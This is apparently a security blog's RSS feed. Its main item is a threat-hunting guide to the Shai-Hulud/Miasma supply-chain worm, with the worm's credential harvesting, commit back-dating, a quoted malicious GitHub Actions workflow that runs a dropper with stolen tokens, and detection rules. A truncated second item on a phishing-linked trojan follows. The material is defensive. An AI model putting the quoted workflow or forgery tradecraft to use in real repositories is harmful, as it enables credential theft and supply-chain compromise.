<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Deep Specter Research: Technical Cyber Research ]]></title><description><![CDATA[An independent hub for deep-dive research into vulnerabilities, security technologies, and exploratory projects.]]></description><link>https://deepspecter.substack.com/s/cyber-research</link><image><url>https://substackcdn.com/image/fetch/$s_!b8bH!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75405e47-9490-45a2-9ba3-84e9694b62f8_1024x1024.png</url><title>Deep Specter Research: Technical Cyber Research </title><link>https://deepspecter.substack.com/s/cyber-research</link></image><generator>Substack</generator><lastBuildDate>Wed, 17 Jun 2026 16:41:26 GMT</lastBuildDate><atom:link href="https://deepspecter.substack.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Deep Specter Research]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[deepspecter@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[deepspecter@substack.com]]></itunes:email><itunes:name><![CDATA[Deep Specter Research]]></itunes:name></itunes:owner><itunes:author><![CDATA[Deep Specter Research]]></itunes:author><googleplay:owner><![CDATA[deepspecter@substack.com]]></googleplay:owner><googleplay:email><![CDATA[deepspecter@substack.com]]></googleplay:email><googleplay:author><![CDATA[Deep Specter Research]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Riding the Sandworm]]></title><description><![CDATA[Hunting Shai-Hulud / Miasma - adversary actions & a field guide to finding droppers, workers and forged commits]]></description><link>https://deepspecter.substack.com/p/riding-the-sandworm</link><guid isPermaLink="false">https://deepspecter.substack.com/p/riding-the-sandworm</guid><dc:creator><![CDATA[Deep Specter Research]]></dc:creator><pubDate>Wed, 17 Jun 2026 08:34:27 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!qULl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Actor: TeamPCP (~UNC6780) &#183; two strains, evolving &#183; npm + GitHub &#183; static-only methodology &#183; TLP:AMBER</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qULl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qULl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 424w, https://substackcdn.com/image/fetch/$s_!qULl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 848w, https://substackcdn.com/image/fetch/$s_!qULl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 1272w, https://substackcdn.com/image/fetch/$s_!qULl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qULl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2274947,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://deepspecter.substack.com/i/202282853?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qULl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 424w, https://substackcdn.com/image/fetch/$s_!qULl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 848w, https://substackcdn.com/image/fetch/$s_!qULl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 1272w, https://substackcdn.com/image/fetch/$s_!qULl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d92c370-245f-47ca-977f-4c6bf69b5153_2172x724.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://deepspecter.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><strong>1. What you are hunting</strong></p><p style="text-align: justify;">Shai-Hulud (a.k.a. Miasma / &#8220;The Second Coming&#8221;), actor <strong>TeamPCP (~UNC6780)</strong>, is a self-propagating supply-chain worm. It executes on a developer machine, harvests every credential it can reach, and re-uses those credentials to (1) publish poisoned package versions, (2) inject an obfuscated dropper into source repositories, and (3) stage stolen secrets in throw-away &#8220;dead-drop&#8221; repos. It exists in <strong>two strains that are actively evolving</strong> &#8212; treat it as a family, not a fixed IOC set:</p><ul><li><p><strong>&#8220;classic&#8221; Shai-Hulud (worker)</strong> &#8212; a throw-away repo running an obfuscated script via a GitHub Actions workflow. Loud: persona author &#8220;THE ASSET&#8221;, real timestamps, no identity forgery.</p></li><li><p><strong>Miasma (injection)</strong> &#8212; an oversized .github/setup.js committed into an existing repo using a stolen maintainer token. Stealthy: the commit impersonates a real maintainer and is back-dated years to hide in history.</p></li></ul><p><strong>The single most useful fact for a hunter: the commit author / e-mail / date are attacker-controlled (the &#8220;author-pusher gap&#8221;). NEVER sequence or scope by commit date. Anchor on the server-side push time and on what cannot be forged a GPG signature, a file&#8217;s size, a workflow&#8217;s contents.</strong></p><p><strong>2. The adversary&#8217;s actions, in detail</strong></p><p><strong>2.1  The loop</strong></p><p style="text-align: justify;">Infection closes a loop on every newly-compromised machine: EXECUTE (auto-run on install or editor/CI trigger) &#8594; HARVEST (env vars, ~/.npmrc, cloud metadata 169.254.169.254, git/npm tokens) &#8594; PUBLISH / INJECT / STAGE. Auto-run is wired through npm pre/postinstall hooks, package.json scripts, agent/editor triggers (.claude/.gemini SessionStart, .cursor rules, .vscode folderOpen) and GitHub Actions workflows.</p><p><strong>2.2  Two dropper strains</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AH3U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AH3U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 424w, https://substackcdn.com/image/fetch/$s_!AH3U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 848w, https://substackcdn.com/image/fetch/$s_!AH3U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 1272w, https://substackcdn.com/image/fetch/$s_!AH3U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AH3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png" width="1456" height="265" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:265,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151252,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://deepspecter.substack.com/i/202282853?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AH3U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 424w, https://substackcdn.com/image/fetch/$s_!AH3U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 848w, https://substackcdn.com/image/fetch/$s_!AH3U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 1272w, https://substackcdn.com/image/fetch/$s_!AH3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ccc6a02-5f54-4540-aa30-c4302ce2b3e3_1476x269.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The size gap matters operationally: a detector tuned to &#8220;~5 MB&#8221; misses the ~685 KB worker entirely.</p><p><strong>2.3  The worker delivery (classic)</strong></p><p style="text-align: justify;">A throw-away repo is created and an obfuscated script (any name/extension JS or Python) is committed to root or a dotdir, plus a workflow that runs it (static read never run):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;yaml&quot;,&quot;nodeId&quot;:&quot;9699f455-9ffc-49c3-a00e-caf8e1eeeb22&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-yaml"># .github/workflows/run.yml

on: workflow_dispatch

jobs: { run: { runs-on: ubuntu-latest, permissions: { issues: write },

  steps:

   - uses: actions/checkout@v6

   - uses: oven-sh/setup-bun@v2

   - env: { GITHUB_TOKEN2: ${{ secrets.PATS }} }

     run: bun run index.js } }</code></pre></div><p style="text-align: justify;">Signature: oven-sh/setup-bun + bun run &lt;script&gt; + secrets.PATS / GITHUB_TOKEN2. The script is the dropper, regardless of name.</p><p><strong>2.4  The injection delivery + commit-identity forgery (Miasma)</strong></p><p style="text-align: justify;">With a stolen maintainer token the worm commits the ~5 MB .github/setup.js into an existing repo and forges the commit to hide it:</p><ul><li><p><strong>Author spoofing</strong>: author/e-mail set to a real maintainer of that repo (sometimes a different person than the pusher).</p></li><li><p><strong>Back-dating rule:</strong> the malicious commit clones the current HEAD commit&#8217;s exact timestamp (0-day gap from its parent). When HEAD is a PR-merge it replays the real &#8220;Merge pull request #N&#8221; text and the PR&#8217;s exact merge time; otherwise a plausible dev message + [skip ci]. Stale repos &#8594; inherited dates are years old.</p></li><li><p><strong>Unsigned</strong>: the one un-forgeable field: forged commits are verified=false while the real maintainer signs.</p></li></ul><p>Measured across 1,311 injection commits (anchored on real push time): 93% unsigned, 58% author-spoofed, 75% back-dated (median ~2.8 yr, max ~12.6 yr), 54% [skip ci], 0% future-dated. The malicious commit clones an existing old commit&#8217;s timestamp, so the forged date is always in the past.</p><p><strong>2.5  Dead-drop exfiltration</strong></p><p style="text-align: justify;">Harvested secrets are written to disposable repos on the victim&#8217;s own account (markers: &#8220;Sha1-Hulud: The Second Coming&#8221;, &#8220;A Mini Shai-Hulud has Appeared&#8221;). Exfil-only in the historical firehose the dead-drop owners made <strong>zero</strong> cross-account actions. ~hundreds of drops per victim (&#8776;48&#215; loop inflation); dedupe by owner for a real victim count.</p><p><strong>3. Strain evolution &amp; campaign timeline</strong></p><p style="text-align: justify;">The forgery is a <strong>Miasma adaptation, not present in the classic worker</strong>. The worker uses fresh throw-away repos with no history to blend into, so it forges nothing. Miasma injects into existing repos with real maintainers and history, so it added impersonation + multi-year back-dating to disappear into that history.</p><p><strong>Trajectory: loud, disposable workers &#8594; stealthy, history-blending injection. The tradecraft is evolving; expect later waves to carry more sophisticated evasion. Hunt by behaviour, not by today&#8217;s IOCs.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!k8kt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!k8kt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 424w, https://substackcdn.com/image/fetch/$s_!k8kt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 848w, https://substackcdn.com/image/fetch/$s_!k8kt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 1272w, https://substackcdn.com/image/fetch/$s_!k8kt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!k8kt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png" width="1456" height="756" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:756,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!k8kt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 424w, https://substackcdn.com/image/fetch/$s_!k8kt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 848w, https://substackcdn.com/image/fetch/$s_!k8kt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 1272w, https://substackcdn.com/image/fetch/$s_!k8kt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2fe8-738c-4313-9cd0-7d1a04ef69b2_2000x1039.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Figure 1 &#183; Strain &amp; infection timeline the two waves of dead-drops, the Miasma injection window, and the two documented evolution points (identity forgery; marker mutation).</em></p><p><strong>4. Hunting playbook</strong></p><p><strong>4.1  Two rules before anything else</strong></p><ul><li><p><strong>Never execute a sample.</strong> Everything below is static: tree metadata (paths + sizes), commit metadata, workflow YAML. The ingested dropper blob is never fetched or run, so the hunt cannot infect the hunter.</p></li><li><p><strong>Anchor on the un-forgeable.</strong> Server-side push time (Events/GH Archive), GPG verification, file size, workflow contents. Ignore author.date for sequencing.</p></li></ul><p><strong>4.2  Source matrix - pick the right reach</strong></p><p></p><p><strong>4.3  Step-by-step hunt</strong></p><ol><li><p><strong>Seed.</strong> Pull OSV MAL-2026-* (poisoned packages) and the community dead-drop marker lists.</p></li><li><p><strong>Dedupe dead-drops by owner.</strong> Hundreds of drops collapse to a handful of victim accounts that is your compromised-user roster.</p></li><li><p><strong>Enumerate each victim&#8217;s repos and size-scan them.</strong> This finds BOTH strains and recovers repos the name/marker rosters missed.</p></li><li><p><strong>Confirm the strain.</strong> Miasma = oversized .github/setup.js (&#8805;3 MB). Worker = root/dotdir script &#8805;200 KB + a workflow with the secrets.PATS / GITHUB_TOKEN2 signature.</p></li><li><p><strong>For injections, audit the forgery.</strong> Pull the repo&#8217;s pushes from GH Archive at the real push hours; for each commit compute push_time &#8722; author.date, check verified and [skip ci].</p></li><li><p><strong>Pivot to blast radius.</strong> Map each push-actor to their employer/orgs (profile + memberships); org-owned repos they can write to are the next-hop risk.</p></li></ol><p><strong>4.4  The detection heuristics (copy these)</strong></p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;4b0aa573-22d8-44ab-a26d-e018856b971d&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">DROPPER (both strains, name+size-agnostic) &#8212; from the repo tree:

  flag a blob where  ext in {.js .cjs .mjs .ts .py .sh}

                     AND size &gt;= 200_000            # worker ~685KB ; Miasma ~5MB

                     AND ( path has no &#8216;/&#8217;           # repo ROOT

                           OR first_segment.startswith(&#8217;.&#8217;) )   # any DOTDIR

                     AND not path matches dist/|public/|libs/|node_modules/

                           |.yarn/|.pnp|.next/|.nuxt/|.output/   # legit big files

WORKER workflow &#8212; from .github/workflows/*.yml (static):

  contains  &#8216;secrets.PATS&#8217;  OR  &#8216;GITHUB_TOKEN2&#8217;      # credential exfil (unambiguous)

  often with  oven-sh/setup-bun  +  &#8216;bun run &lt;script&gt;&#8217;

FORGERY (Miasma) &#8212; per commit, via Git Data API + GH Archive push time:

  backdated   = (push_time - author.date) &gt; 7 days   # often years in the past

  spoofed     = commit author.login != real pusher

  unsigned    = verification.verified == false  AND maintainer normally signs

  ci_evasion  = &#8216;[skip ci]&#8217; in message</code></pre></div><p style="text-align: justify;">Location does double duty: legit oversized files (Monaco, Vite/Angular bundles, Storybook, Nuxt .output) live under dist/ / public/ / libs/ never root or a dotdir so the root-or-dotdir rule catches both droppers and excludes those false positives.</p><p><strong>4.5  Pitfalls that produce wrong verdicts</strong></p><ul><li><p><strong>Name-scoping.</strong> The dropper is not always setup.js match on size+location, JS and Python.</p></li><li><p><strong>Date-windowed commit search.</strong> --since filters skip back-dated commits by construction; fetch by SHA.</p></li><li><p><strong>&#8220;Recent commits&#8221; views.</strong> Back-dating buries the dropper below the fold; use the tree, not git log.</p></li><li><p><strong>Remediated &#8800; never-infected.</strong> A reverted HEAD hides the injection; check surviving commit objects by SHA.</p></li><li><p><strong>The 300-event API cap.</strong> Active maintainers are undercounted; use GH Archive for completeness.</p></li></ul><p><strong>5. Observed scope &amp; the companion data</strong></p><ul><li><p><strong>Red Hat</strong> messaging maintainers compromised (accounts REDACTED) Miasma injections into rh-messaging/* and jboss-container-images/* (HEADs remediated).</p></li><li><p><strong>SAP</strong>:" a compromised build-bot account (REDACTED) is a public SAP org member; dead-drop victims skew to SAP CAP/UI5/Fiori (poisoned @cap-js/*).</p></li><li><p>Worker fleets under several compromised accounts (REDACTED), using testing-* / experiments* throwaway repos; crypto/Web3 repos carry live droppers.</p></li><li><p><strong>GitHub-wide discovery</strong> (marker + worker-credential + Dune-naming search) added <strong>~164 compromised accounts and &gt;1,200 repos beyond the original roster</strong> a FLOOR, since code search under-indexes the small/ephemeral repos this campaign favours.</p></li></ul><h6>Companion data bundle (accompanies this guide, in export/): repos.csv (strain, dropper_path/size, mitigated y/n+date, org) &#183; infected_commits.csv (sha, title, real push vs forged author date, backdate gap, verified, skip_ci) &#183; forged_identities.csv &#183; users.csv (&#8594; name/company/org) &#183; organizations.csv &#183; packages.csv &#183; strain_infection_timeline.svg &#183; neo4j/ (graph import: nodes+rels, import.sh, load.cypher). Real timestamp = server-side push (un-forgeable); forged = commit author.date. All analysis static; no sample executed. Counts are a floor.</h6><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://deepspecter.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[BackDoor-51]]></title><description><![CDATA[bd51static[.]com: When Naming Conventions Get Honest - BD Actually Means BackDoor]]></description><link>https://deepspecter.substack.com/p/backdoor-51</link><guid isPermaLink="false">https://deepspecter.substack.com/p/backdoor-51</guid><dc:creator><![CDATA[Deep Specter Research]]></dc:creator><pubDate>Sun, 23 Nov 2025 08:39:10 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!b8bH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75405e47-9490-45a2-9ba3-84e9694b62f8_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Here is our additional information about the multi-stage Chinese trojan that &#8220;records everything, even sounds.&#8221;</strong></p><p>Building on what we uncovered in our Clack &amp; Dagger report, our research now connects this trojan&#8217;s infrastructure with the same ecosystem of phishing SDKs and cloaked domains we analyzed. The malware goes far beyond traditional credential theft &#8212; it logs keystrokes, tracks mouse activity, monitors the clipboard, and even captures audio through the infected device. Combined with its targeting of VPN software and obfuscated exfiltration channels, it demonstrates a systematic attempt to maintain persistent access and siphon highly sensitive data at scale.</p><p>bd51static[.]com is a domain used to hide calls to 51[.]la scripts from Web Scanners that fetch only HTML page with one GET request. There is nothing else there &#8212; just JavaScript files wrapping the calls to 51[.]la scripts.</p><p>This is used by bad actors who clone real websites and then sending phishing links. The similarity between such phishing sites indicates they are built with the same phishing SDK, where bd51static[.]com is essential part of it. Huge number of cloned websites allows wide choice for each specific attack, carefully selecting links that match victims&#8217; interests, increasing success rate.</p><p>The 51[.]la JavaScript framework is a powerful and feature-rich analytics suite for deep insights into user behavior. However, its comprehensive data collection, particularly the session recording capabilities, demands <strong>extreme caution regarding user privacy</strong>. Website operators using this framework have a significant responsibility to:</p><ul><li><p><strong>Ensure Full Transparency:</strong> Clearly inform users about the extent of data collection.</p></li><li><p><strong>Obtain Explicit Consent:</strong> Secure appropriate consent from users, especially for sensitive data collection and session recording.</p></li><li><p><strong>Implement Robust Data 